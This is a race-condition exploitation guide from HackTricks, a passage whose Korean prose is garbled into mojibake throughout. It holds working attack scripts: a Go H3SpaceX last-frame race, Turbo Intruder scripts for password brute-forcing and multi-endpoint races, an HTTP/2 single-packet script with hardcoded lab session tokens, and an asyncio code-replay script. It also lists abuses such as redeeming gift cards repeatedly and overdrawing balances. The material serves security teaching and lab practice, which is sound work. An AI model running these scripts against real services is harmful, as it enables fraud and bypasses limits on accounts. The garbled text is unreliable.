Race Condition
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Warning
์ด ๊ธฐ์ ์ ๊น์ด ์ดํดํ๋ ค๋ฉด ์๋ณธ ๋ณด๊ณ ์ https://portswigger.net/research/smashing-the-state-machine ๋ฅผ ํ์ธํ์ธ์
Race Condition ๊ณต๊ฒฉ ๊ฐํ
๊ฒฝ์ ์กฐ๊ฑด์ ์ด์ฉํ ๋ ๊ฐ์ฅ ํฐ ์ฅ์ ๋ฌผ์ ์ฌ๋ฌ ์์ฒญ์ด ๋์์ ์ฒ๋ฆฌ๋๋๋ก ๋ณด์ฅํ๋ ๊ฒ์ ๋๋ค. ์ฒ๋ฆฌ ์๊ฐ ์ฐจ์ด๊ฐ ๋งค์ฐ ์์์ผ ํ๋ฉฐโ์ด์์ ์ผ๋ก๋ 1ms ๋ฏธ๋งโ๊ทธ๋ ์ง ์์ผ๋ฉด race๊ฐ ์ฌํ๋๊ธฐ ์ด๋ ต์ต๋๋ค.
์ฌ๊ธฐ์๋ ์์ฒญ ๋๊ธฐํ๋ฅผ ์ํ ๋ช ๊ฐ์ง ๊ธฐ๋ฒ์ด ์์ต๋๋ค:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: ๋จ์ผ TCP ์ฐ๊ฒฐ๋ก ๋ ์์ฒญ์ ์ ์กํ ์ ์์ด ๋คํธ์ํฌ ์งํฐ์ ์ํฅ์ ์ค์ ๋๋ค. ๋ค๋ง ์๋ฒ ์ธก ๋ณ๋์ผ๋ก ์ธํด ๋ ์์ฒญ๋ง์ผ๋ก๋ ์ผ๊ด๋ race condition exploit์ ๋ง๋ค๊ธฐ์ ์ถฉ๋ถํ์ง ์์ ์ ์์ต๋๋ค.
- HTTP/1.1 โLast-Byte Syncโ: 20โ30๊ฐ์ ์์ฒญ์ ๋๋ถ๋ถ์ ๋ฏธ๋ฆฌ ์ ์กํ๊ณ ์์ ์กฐ๊ฐ์ ๋ณด๋ฅํ๋ค๊ฐ ํจ๊ป ์ ์กํ์ฌ ์๋ฒ์ ๋์์ ๋์ฐฉํ๋๋ก ํ๋ ๋ฐฉ์์ ๋๋ค.
Preparation for Last-Byte Sync์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค:
- ์คํธ๋ฆผ์ ์ข ๋ฃํ์ง ์๊ณ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ์ ์ธํ ํค๋์ ๋ฐ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค.
- ์ด๊ธฐ ์ ์ก ํ 100ms ๋์ ๋๊ธฐํฉ๋๋ค.
- ๋ง์ง๋ง ํ๋ ์ ๋ฐฐ์น๋ฅผ ์ํด Nagleโs algorithm์ ํ์ฉํ๋๋ก TCP_NODELAY๋ฅผ ๋นํ์ฑํํฉ๋๋ค.
- ์ฐ๊ฒฐ์ ์๋ฐ์ ํ๊ธฐ ์ํด ping์ ๋ณด๋ ๋๋ค.
๋ณด๋ฅํด๋ ํ๋ ์์ ์ดํ์ ์ ์กํ๋ฉด ๋จ์ผ ํจํท์ผ๋ก ๋์ฐฉํด์ผ ํ๋ฉฐ, ์ด๋ Wireshark๋ก ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ผ๋ฐ์ ์ผ๋ก RC ๊ณต๊ฒฉ์ ๊ด๋ จ๋์ง ์๋ static files์๋ ์ ์ฉ๋์ง ์์ต๋๋ค.
HTTP/3 LastโFrame Synchronization (QUIC)
- Concept: HTTP/3๋ QUIC(UDP) ์์์ ๋์ํฉ๋๋ค. TCP coalescing์ด๋ Nagle์ ์์กดํ ์ ์์ผ๋ฏ๋ก, ๊ธฐ์กด ํด๋ผ์ด์ธํธ๋ก๋ ๊ณ ์ ์ ์ธ lastโbyte sync๊ฐ ์๋ํ์ง ์์ต๋๋ค. ๋์ ์ฌ๋ฌ QUIC streamโfinal DATA frames(FIN)๋ฅผ ๊ฐ์ UDP ๋ฐ์ดํฐ๊ทธ๋จ์ผ๋ก ์๋์ ์ผ๋ก ํฉ์ณ ์๋ฒ๊ฐ ๋์ผํ ์ค์ผ์ค๋ง ํฑ์์ ๋ชจ๋ ํ๊น ์์ฒญ์ ์ฒ๋ฆฌํ๋๋ก ํด์ผ ํฉ๋๋ค.
- How to do it: QUIC ํ๋ ์ ์ ์ด๋ฅผ ๋ ธ์ถํ๋ ๋ชฉ์ ์ ์ฉ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ์ธ์. ์๋ฅผ ๋ค์ด, H3SpaceX๋ quic-go๋ฅผ ์กฐ์ํด ์์ฒญ ๋ณธ๋ฌธ์ด ์๋ ๊ฒฝ์ฐ์ GETโstyle ์์ฒญ(๋ณธ๋ฌธ์ด ์๋ ๊ฒฝ์ฐ) ๋ชจ๋์ ๋ํด HTTP/3 lastโframe synchronization์ ๊ตฌํํฉ๋๋ค.
- Requestsโwithโbody: N๊ฐ์ ์คํธ๋ฆผ์ ๋ํด HEADERS + ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ์ ์ธํ DATA๋ฅผ ์ ์กํ ๋ค, ๊ฐ ์คํธ๋ฆผ์ ๋ง์ง๋ง ๋ฐ์ดํธ๋ฅผ ํจ๊ป ํ๋ฌ์ํฉ๋๋ค.
- GETโstyle: ๊ฐ์ง DATA ํ๋ ์(๋๋ ContentโLength๊ฐ ์๋ ์์ฃผ ์์ ๋ฐ๋)์ ๋ง๋ค์ด ๋ชจ๋ ์คํธ๋ฆผ์ ๋จ์ผ ๋ฐ์ดํฐ๊ทธ๋จ์์ ์ข ๋ฃํฉ๋๋ค.
- Practical limits:
- ๋์์ฑ์ ์๋๋ฐฉ์ QUIC max_streams transport parameter์ ์ํด ์ ํ๋ฉ๋๋ค(HTTP/2์ SETTINGS_MAX_CONCURRENT_STREAMS์ ์ ์ฌ). ๊ฐ์ด ๋ฎ์ผ๋ฉด ์ฌ๋ฌ H3 ์ฐ๊ฒฐ์ ์ด์ด ๋ ์ด์ค๋ฅผ ๋ถ์ฐ์ํค์ธ์.
- UDP ๋ฐ์ดํฐ๊ทธ๋จ ํฌ๊ธฐ์ path MTU๊ฐ ๋ช ๊ฐ์ streamโfinal ํ๋ ์์ ํฉ์น ์ ์๋์ง๋ฅผ ์ ํํฉ๋๋ค. ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ํ์์ ์ฌ๋ฌ ๋ฐ์ดํฐ๊ทธ๋จ์ผ๋ก ๋ถํ ์ ์ฒ๋ฆฌํ์ง๋ง, ๋จ์ผ ๋ฐ์ดํฐ๊ทธ๋จ ํ๋ฌ์๊ฐ ๊ฐ์ฅ ์ ๋ขฐํ ์ ์์ต๋๋ค.
- Practice: H3SpaceX์ ์๋ฐ๋๋ ๊ณต๊ฐ H2/H3 ๋ ์ด์ค ์ค์ต๊ณผ ์ํ ์ต์คํ๋ก์์ด ์์ต๋๋ค.
HTTP/3 lastโframe sync (Go + H3SpaceX) minimal example
```go package main import ( "crypto/tls" "context" "time" "github.com/nxenon/h3spacex" h3 "github.com/nxenon/h3spacex/http3" ) func main(){ tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}} quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond} conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf) var reqs []*http.Request for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) } // keep last byte (1), sleep 150ms, set Content-Length h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true) } ```์๋ฒ ์ํคํ ์ฒ์ ์ ์ํ๊ธฐ
๋์ ์ํคํ ์ฒ๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. Front-end servers๋ ์์ฒญ์ ๋ค๋ฅด๊ฒ ๋ผ์ฐํ ํ์ฌ ํ์ด๋ฐ์ ์ํฅ์ ์ค ์ ์์ต๋๋ค. ์ฌ์ํ ์์ฒญ์ ํตํ ์ ์ ์ server-side connection warming์ ์์ฒญ ํ์ด๋ฐ์ ์ ๊ทํํ ์ ์์ต๋๋ค.
์ธ์ ๊ธฐ๋ฐ ์ ๊ธ ์ฒ๋ฆฌ
PHP์ session handler์ ๊ฐ์ ํ๋ ์์ํฌ๋ ์ธ์ ๋ณ๋ก ์์ฒญ์ ์ง๋ ฌํํ์ฌ ์ทจ์ฝ์ ์ ๊ฐ๋ฆด ์ ์์ต๋๋ค. ๊ฐ ์์ฒญ์ ๋ํด ์๋ก ๋ค๋ฅธ session tokens๋ฅผ ์ฌ์ฉํ๋ฉด ์ด ๋ฌธ์ ๋ฅผ ํํผํ ์ ์์ต๋๋ค.
Rate ๋๋ ๋ฆฌ์์ค ์ ํ ๊ทน๋ณต
connection warming์ด ํจ๊ณผ๊ฐ ์๋ค๋ฉด, ๋๋ฏธ ์์ฒญ์ ๋๋์ผ๋ก ๋ณด๋ด web servers์ rate ๋๋ ๋ฆฌ์์ค ์ ํ ์ง์ฐ์ ์๋์ ์ผ๋ก ์ ๋ฐํ๋ฉด, race conditions์ ์ ๋ฆฌํ server-side delay๋ฅผ ๋ง๋ค์ด single-packet attack์ ์ด์งํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ ์์
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): ์์ฒญ์ Turbo intruder๋ก ๋ณด๋ผ ์ ์์ต๋๋ค (
Extensions->Turbo Intruder->Send to Turbo Intruder), ์์ฒญ์์ brute forceํ๋ ค๋ ๊ฐ์ธ **%s**๋ฅผcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s์ฒ๋ผ ๋ณ๊ฒฝํ ๋ค ๋๋กญ๋ค์ด์์ **examples/race-single-packer-attack.py**๋ฅผ ์ ํํ์ธ์:
.png)
๋ง์ฝ ๋ค๋ฅธ ๊ฐ์ ์ ์กํ๋ ค๋ ๊ฒฝ์ฐ, ํด๋ฆฝ๋ณด๋์ wordlist๋ฅผ ์ฌ์ฉํ๋ ๋ค์ ์ฝ๋๋ก ์์ ํ ์ ์์ต๋๋ค:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
Warning
์น์ด HTTP2๋ฅผ ์ง์ํ์ง ์๊ณ HTTP1.1๋ง ์ง์ํ๋ ๊ฒฝ์ฐ
Engine.BURP2๋์Engine.THREADED๋๋Engine.BURP๋ฅผ ์ฌ์ฉํ์ธ์.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): RCE๋ฅผ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํด 1๊ฐ์ endpoint๋ก ์์ฒญ์ ๋ณด๋ด๊ณ ๊ทธ ๋ค์ ๋ค๋ฅธ ์ฌ๋ฌ endpoint๋ก ์์ฒญ์ ๋ณด๋ด์ผ ํ๋ ๊ฒฝ์ฐ,
race-single-packet-attack.py์คํฌ๋ฆฝํธ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝํ ์ ์์ต๋๋ค:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Burp Suite์ ์๋ก์ด โSend group in parallelโ ์ต์ ์ ํตํด Repeater์์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค.
- limit-overrun์ ๊ฒฝ์ฐ ๊ทธ๋ฃน์ ๊ฐ์ ์์ฒญ์ 50๋ฒ ์ถ๊ฐํ๋ฉด ๋ฉ๋๋ค.
- connection warming์ ๊ฒฝ์ฐ, ๊ทธ๋ฃน์ ์์ ๋ถ๋ถ์ ์น ์๋ฒ์ ๋น์ ์ ๋ถ๋ถ์ผ๋ก ํฅํ๋ ์์ฒญ๋ค์ ๋ช ๊ฐ ์ถ๊ฐํ ์ ์์ต๋๋ค.
- 2๊ฐ์ substates ๋จ๊ณ์์ ํ ์์ฒญ์ ์ฒ๋ฆฌํ ๋ค์ ๋ค๋ฅธ ์์ฒญ์ ์ฒ๋ฆฌํ๊ธฐ๊น์ง์ ํ๋ก์ธ์ค๋ฅผ ์ง์ฐ์ํค๊ธฐ(delaying) ์ํด, ๋ ์์ฒญ ์ฌ์ด์ ์ถ๊ฐ ์์ฒญ๋ค์ ๋ฃ์ ์ ์์ต๋๋ค.
- multi-endpoint RC์ ๊ฒฝ์ฐ, ์จ๊ฒจ์ง ์ํ๋ก ๊ฐ๋ ์์ฒญ์ ๋จผ์ ๋ณด๋ด๊ณ ๊ทธ ์งํ์ ์จ๊ฒจ์ง ์ํ๋ฅผ ์ ์ฉํ๋ ์์ฒญ 50๊ฐ๋ฅผ ๋ณด๋ผ ์ ์์ต๋๋ค.
.png)
- Automated python script: ์ด ์คํฌ๋ฆฝํธ์ ๋ชฉ์ ์ ์ฌ์ฉ์์ ์ด๋ฉ์ผ์ ๋ณ๊ฒฝํ๋ฉด์ ์๋ก์ด ์ด๋ฉ์ผ์ verification token์ด ๋ง์ง๋ง ์ด๋ฉ์ผ๋ก ๋์ฐฉํ ๋๊น์ง ์ง์์ ์ผ๋ก ํ์ธํ๋ ๊ฒ์
๋๋ค (์ฝ๋์์์๋ ์ด๋ฉ์ผ์ ์์ ํ ์ ์์ผ๋ ์ด๋ฉ์ผ์ ๋ํ๋ด๋ ๋ณ์๊ฐ ์ด๋ฏธ ์ฒซ ๋ฒ์งธ ์ด๋ฉ์ผ๋ก ์ฑ์์ ธ ์์ด์ verification์ด ์ด์ ์ด๋ฉ์ผ๋ก ์ ์ก๋๋ RC๊ฐ ๊ด์ฐฐ๋์๊ธฐ ๋๋ฌธ์
๋๋ค).
์์ ๋ ์ด๋ฉ์ผ์์ โobjetivoโ๋ผ๋ ๋จ์ด๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ๋ณ๊ฒฝ๋ ์ด๋ฉ์ผ์ verification token์ ๋ฐ์ ๊ฒ์ผ๋ก ํ๋จํ์ฌ ๊ณต๊ฒฉ์ ์ข ๋ฃํฉ๋๋ค.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: ์์ง ๋ฐ ๊ฒ์ดํ ๋ ธํธ
- ์์ง ์ ํ: singleโpacket attack์ ํธ๋ฆฌ๊ฑฐํ๋ ค๋ฉด HTTP/2 ๋์์์
Engine.BURP2๋ฅผ ์ฌ์ฉํ์ธ์; HTTP/1.1 ๋ง์ง๋ง ๋ฐ์ดํธ ๋๊ธฐํ์๋Engine.THREADED๋๋Engine.BURP๋ก ๋์ฒดํ์ธ์. gate/openGate:gate='race1'(๋๋ ์๋๋ณ gates)๋ก ๋ง์ ๋ณต์ฌ๋ณธ์ ํ์ ๋ฃ์ผ๋ฉด ๊ฐ ์์ฒญ์ ๊ผฌ๋ฆฌ๋ฅผ ๋ณด๋ฅํฉ๋๋ค;openGate('race1')๋ ๋ชจ๋ ๊ผฌ๋ฆฌ๋ฅผ ํจ๊ป ํ๋ฌ์ํ์ฌ ๊ฑฐ์ ๋์์ ๋์ฐฉํ๊ฒ ํฉ๋๋ค.- ์ง๋จ: Turbo Intruder์์ ์์ ํ์์คํฌํ๋ ์์ฒญ์ด ์์ ํ ์ ์ก๋๊ธฐ ์ ์ ์๋ฒ๊ฐ ์๋ตํ์์ ๋ํ๋ด๋ฉฐ, ์ด๋ ๊ฒน์นจ(overlap)์ ์ฆ๋ช ํฉ๋๋ค. ์ด๋ ์ค์ race์์ ์์๋๋ ํ์์ ๋๋ค.
- ์ฐ๊ฒฐ ์๋ฐ์
: ํ์ด๋ฐ์ ์์ ์ํค๊ธฐ ์ํด ๋จผ์ ping์ด๋ ๋ฌดํดํ ์์ฒญ ๋ช ๊ฐ๋ฅผ ์ ์กํ์ธ์; ๋ง์ง๋ง ํ๋ ์์ ๋ฐฐ์น๋ฅผ ์ฅ๋ คํ๋ ค๋ฉด ์ ํ์ ์ผ๋ก
TCP_NODELAY๋ฅผ ๋นํ์ฑํํ์ธ์.
Single Packet Attack ๊ฐ์
์๋ ์ฐ๊ตฌ์์๋ ์ด ๊ณต๊ฒฉ์ด 1,500๋ฐ์ดํธ์ ํ๊ณ๊ฐ ์๋ค๊ณ ์ค๋ช ํ์ต๋๋ค. ๊ทธ๋ฌ๋ this post์์๋ IP ๊ณ์ธต ๋จํธํ(IP layer fragmentation)๋ฅผ ์ฌ์ฉํด(๋จ์ผ ํจํท์ ์ฌ๋ฌ IP ํจํท์ผ๋ก ๋ถํ ) ํจํท์ ์๋ก ๋ค๋ฅธ ์์๋ก ์ ์กํจ์ผ๋ก์จ ๋จํธ๋ค์ด ๋ชจ๋ ์๋ฒ์ ๋๋ฌํ ๋๊น์ง ์ฌ์กฐ๋ฆฝ์ ๋ง๋๋ก ํ์ฉํ์ฌ singleโpacket ๊ณต๊ฒฉ์ 1,500๋ฐ์ดํธ ์ ํ์ TCP์ 65,535 B ์ฐฝ ์ ํ๊น์ง ํ์ฅํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ์ต๋๋ค. ์ด ๊ธฐ๋ฒ์ผ๋ก ์ฐ๊ตฌ์๋ ์ฝ 166ms์ 10,000๊ฐ์ ์์ฒญ์ ์ ์กํ ์ ์์์ต๋๋ค.
์ด ๊ฐ์ ์ด ์๋ฐฑ/์์ฒ ๊ฐ์ ํจํท์ด ๋์์ ๋์ฐฉํด์ผ ํ๋ RC์์ ๊ณต๊ฒฉ์ ๋ ์ ๋ขฐ์ฑ ์๊ฒ ๋ง๋ค์ง๋ง, ๋ช๋ช ์ํํธ์จ์ด์ ์ ํ์ด ์์ ์ ์์ต๋๋ค. Apache, Nginx ๋ฐ Go ๊ฐ์ ์ผ๋ถ ์ธ๊ธฐ HTTP ์๋ฒ๋ SETTINGS_MAX_CONCURRENT_STREAMS ์ค์ ์ด ๊ฐ๊ฐ 100, 128, 250์ผ๋ก ์๊ฒฉํฉ๋๋ค. ๋ฐ๋ฉด NodeJS์ nghttp2๋ ๋ฌด์ ํ์
๋๋ค.
์ฆ, Apache๋ ๋จ์ผ TCP ์ฐ๊ฒฐ์์ 100๊ฐ์ HTTP ์คํธ๋ฆผ๋ง ๊ณ ๋ คํ๋ฏ๋ก(์ด RC ๊ณต๊ฒฉ์ ์ ํํจ) HTTP/3์ ๊ฒฝ์ฐ ์ ์ฌํ ์ ํ์ QUIC์ max_streams ์ ์ก ํ๋ผ๋ฏธํฐ์
๋๋ค โ ๊ฐ์ด ์๋ค๋ฉด ๋ ์ด์ค๋ฅผ ์ฌ๋ฌ QUIC ์ฐ๊ฒฐ์ ๋ถ์ฐํ์ธ์.
์ด ๊ธฐ๋ฒ์ ์ฌ์ฉํ ๋ช ๊ฐ์ง ์์ ๋ ๋ ํฌ์งํ ๋ฆฌ https://github.com/Ry0taK/first-sequence-sync/tree/main ์์ ํ์ธํ ์ ์์ต๋๋ค.
Raw BF
์ด์ ์ฐ๊ตฌ ์ด์ ์๋ ํจํท์ ๊ฐ๋ฅํ ํ ๋น ๋ฅด๊ฒ ์ ์กํ์ฌ RC๋ฅผ ์ ๋ฐํ๋ ค๋ ๋ช ๊ฐ์ง ํ์ด๋ก๋๊ฐ ์ฌ์ฉ๋์์ต๋๋ค.
- Repeater: ์ด์ ์น์ ์ ์์ ๋ฅผ ํ์ธํ์ธ์.
- Intruder: request๋ฅผ Intruder๋ก ์ ์กํ๊ณ , Options menu์์ number of threads๋ฅผ 30์ผ๋ก ์ค์ ํ ๋ค์, ํ์ด๋ก๋๋ก Null payloads๋ฅผ ์ ํํ๊ณ 30๊ฐ๋ฅผ ์์ฑํ์ธ์.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.
์ด๊ฒ์ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ์ ํ์ race condition์ผ๋ก, ํ๋์ ์ํํ ์ ์๋ ํ์๋ฅผ ์ ํํ๋ ๊ณณ์์ vulnerabilities๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ์ ๋๋ค. ์๋ฅผ ๋ค์ด ์น ์คํ ์ด์์ ๋์ผํ ํ ์ธ ์ฝ๋๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์์ฃผ ์ฌ์ด ์์๋ this report ๋๋ this bug์์ ์ฐพ์ ์ ์์ต๋๋ค.
There are many variations of this kind of attack, including:
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
์ด๋ฌํ ์ข ๋ฅ์ ๊ณต๊ฒฉ์๋ ์ฌ๋ฌ ๋ณํ์ด ์์ผ๋ฉฐ, ์์๋ก๋ ๋ค์์ด ์์ต๋๋ค:
- ๊ธฐํํธ ์นด๋๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํ๋ ๊ฒ
- ์ ํ์ ์ฌ๋ฌ ๋ฒ ํ์ ๋งค๊ธฐ๋ ๊ฒ
- ๊ณ์ข ์์ก์ ์ด๊ณผํ์ฌ ํ๊ธ์ ์ธ์ถํ๊ฑฐ๋ ์ด์ฒดํ๋ ๊ฒ
- ํ๋์ CAPTCHA ํด๊ฒฐ์ ์ฌ๋ฌ ๋ฒ ์ฌ์ฌ์ฉํ๋ ๊ฒ
- anti-brute-force rate limit์ ์ฐํํ๋ ๊ฒ
Hidden substates
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Hereโs how to approach this:
๋ณต์กํ race condition๋ฅผ ์ ์ฉํ ๋๋ ์จ๊ฒจ์ ธ ์๊ฑฐ๋ unintended machine substates์ ์ํธ์์ฉํ ์ ์๋ ์งง์ ๊ธฐํ๋ฅผ ์ด์ฉํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ ๊ทผ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Identify Potential Hidden Substates
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
- Identify Potential Hidden Substates
- ์ฐ์ ์ฌ์ฉ์ ํ๋กํ์ด๋ password reset ํ๋ก์ธ์ค์ฒ๋ผ ์ค์ํ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๊ฑฐ๋ ์ํธ์์ฉํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฐพ์ผ์ธ์. ๋ค์์ ์ง์คํฉ๋๋ค:
- Storage: ํด๋ผ์ด์ธํธ ์ธก์์ ์ฒ๋ฆฌ๋๋ ๊ฒ๋ณด๋ค ์๋ฒ ์ธก์ ์๊ตฌ ์ ์ฅ ๋ฐ์ดํฐ๋ฅผ ์กฐ์ํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฐ์ ์ ์ผ๋ก ์ดํด๋ณด์ธ์.
- Action: ์ ๋ฐ์ดํฐ๋ฅผ ์ถ๊ฐํ๋ ์์ ๋ณด๋ค ๊ธฐ์กด ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ๋ ์์ ์ด ์ ์ฉ ๊ฐ๋ฅํ ์ํ๋ฅผ ๋ง๋ค ๊ฐ๋ฅ์ฑ์ด ๋ ๋์ต๋๋ค.
